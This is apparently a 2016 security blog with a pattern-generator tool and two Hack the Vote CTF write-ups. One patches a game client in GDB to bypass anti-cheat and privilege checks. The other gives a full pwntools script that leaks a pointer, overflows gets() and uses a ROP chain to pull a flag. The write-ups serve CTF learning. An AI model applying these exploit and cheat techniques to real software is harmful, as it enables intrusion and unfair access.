Saturday, November 26, 2016

Overflow Exploit Pattern Generator

Metasploit's pattern generator is a great tool, but Ruby's startup time is abysmally slow. Out of frustration, I made this in-browser online pattern generator written in JavaScript.

Generate Overflow Pattern


Find Overflow Offset

For the unfamiliar, this tool will generate a non-repeating pattern. You drop it into your exploit proof of concept. You crash the program, and see what the value of your instruction pointer register is. You type that value in to find the offset of how big your buffer should be overflowed before you hijack execution.

Sunday, November 6, 2016

Hack the Vote CTF "The Wall" Solution

RPISEC ran a capture the flag called Hack the Vote 2016 that was themed after the election. In the competition was "The Wall" challenge by itszn.

The Wall challenge clue:

The Trump campaign is running a trial of The Wall plan. They want to prove that no illegal immigrants could get past it. If that goes as planned, us here at the DNC will have a hard time swinging some votes in the southern boarder states. We need you to hack system and get past the wall. I heard they have put extra protections into place, but we think you can still do it. If you do get into America, there should be a flag somewhere in the midwest that you can have. You will be US "citizen" after all.

The challenge link was a tarball with a bunch of directories. Inside the /bin/ folder was an x64 ELF called "minetest", which is a Minecraft clone. I was pleased to see this was a video game challenge, having a fair amount of infamy for hacking online games in my past lives.

When you run the game, you log onto a server and are greeted with Trump's wall. It's yuuuge, spanning infinitely across the horizontal plane.

So the goal must be to get around this wall and into America. I tried a few naive approaches, as I just wanted to get something like a simple warp or run-through-wall type of cheat running, but alas there was an anti-cheat built into the game.

No problem, it wouldn't be the first time I've had to defeat an anti-cheat system. I started reversing a function called Client::handleCommand_CheatChallange() (sic):

I deduced this function was reading /proc/self/maps and running a SHA1 function on it. At first I was going to just overwrite this function to make it give the expected SHA1, but then I started backing up and found this function was only called when you first joined the server. So all that was needed to bypass the anti-cheat was to delay load however I planned to cheat.

Poking around the game and binary some more, I noticed there was a "fly" mode, that my client didn't have the privilege from the server for:

Well, my client still has the code for flying even if the server says I don't have the privilege. I found a function called Client::checkLocalPrivilege(). The function takes a C++ std::string of a privilege (such as fly) and returns a bool.

Yea, this guy's doing way too much work for me. Time to patch it with the following assembly:

inc eax   ; ff c0
ret       ; c3  
nop       ; 90

This will make the function always return true when my client checks if I have access to a certain privilege. After logging into the server, I attached to my client with GDB and patched my new assembly into the privilege check function:

Now that I could fly, I noticed the wall also grew infinitely vertical. Fortunately, from way up high I was able to glitch through the wall.

I made it!

I wandered through the desert for 40 days and 40 night cycles.

No really, I wandered a long time. I should also mention disabling the privilege checks gives access to a speed hack, but it was a little glitchy and the server kept warping me backwards.

I was starting to get worried, when all of a sudden I saw beautiful Old Glory off in the distance.

Hack the Vote CTF "IRS" Solution

RPISEC ran a capture the flag called Hack the Vote 2016 that was themed after the election. In the competition was the "IRS" challenge by pigeon.

IRS challenge clue:

Good day fellow Americans. In the interest of making filing your tax returns as easy and painless as possible, we've created this nifty lil' program to better serve you! Simply enter your name and file away! And don't you worry, everyone's file is password protected ;)

We get a pwnable x86 ELF Linux binary with non-executable stack. There's also details for a server to ncat to to exploit it.

The program contains about 10 functions that are relatively straightforward about what they do just going off the strings. Exploring the program, there is a blatant address leak when there is an attempt to create more than 5 total users in the system.

This %p is given to puts(). It dereferences to a pointer address that is the start of an array of structs which hold IRS tax return data. Here is the initialization code for Trump's struct:

Note that Trump's password is "not_the_flag" here, but on the server it will be the flag.

Preceding Trump's struct construction is a call to malloc() with 108 bytes, and throughout the program we only see 4 distinct fields. So the completed struct most likely is:

struct IRS_Data
{
    char name[50];
    char pass[50];
    int32_t income;
    int32_t deductibles;
};

In a function which I named edit_tax_return(), there is a call to gets(). This is a highly vulnerable C function that writes to a buffer from stdin with no constraints on length, and thus should probably never be used.

The exploitation process can be pretty simple if you take advantage of other functions present in the binary.

  1. Create enough users to leak the user array pointer
  2. Overflow the gets() in edit_tax_return() with a ROP chain
  3. ROP #1 calls view_tax_return() with the leaked pointer and index 0 (a.k.a. Trump)
  4. ROP #2 cleanly returns back to the start of main()
#!/usr/bin/env python2
from pwn import *

#r = remote("irs.pwn.republican", 4127)
r = process('./irs.4ded.3360.elf')

r.send("1\n"*21)                # create a bunch of fake users
r.recvuntil("0x")               # get the leaked %p address

database_addr = int(r.recvline().strip(), 16)
log.success("Got leaked address %08x" % database_addr)

r.send("3\n"+"1\n"*4)           # edit a known user record

overflow = "A"*25
overflow += p32(0x0804892C)     # print_tax_return(pDB, i)
overflow += p32(0x08048a39)     # main(void), safe return
overflow += p32(database_addr)  # pDB
overflow += p32(0x00000000)     # i

r.send(overflow + "\n")         # 08048911    call    gets

r.recvuntil("Password: ")       # print_tax_return() Trump password

flag = r.recvline().split(" ")[0]
log.success(flag)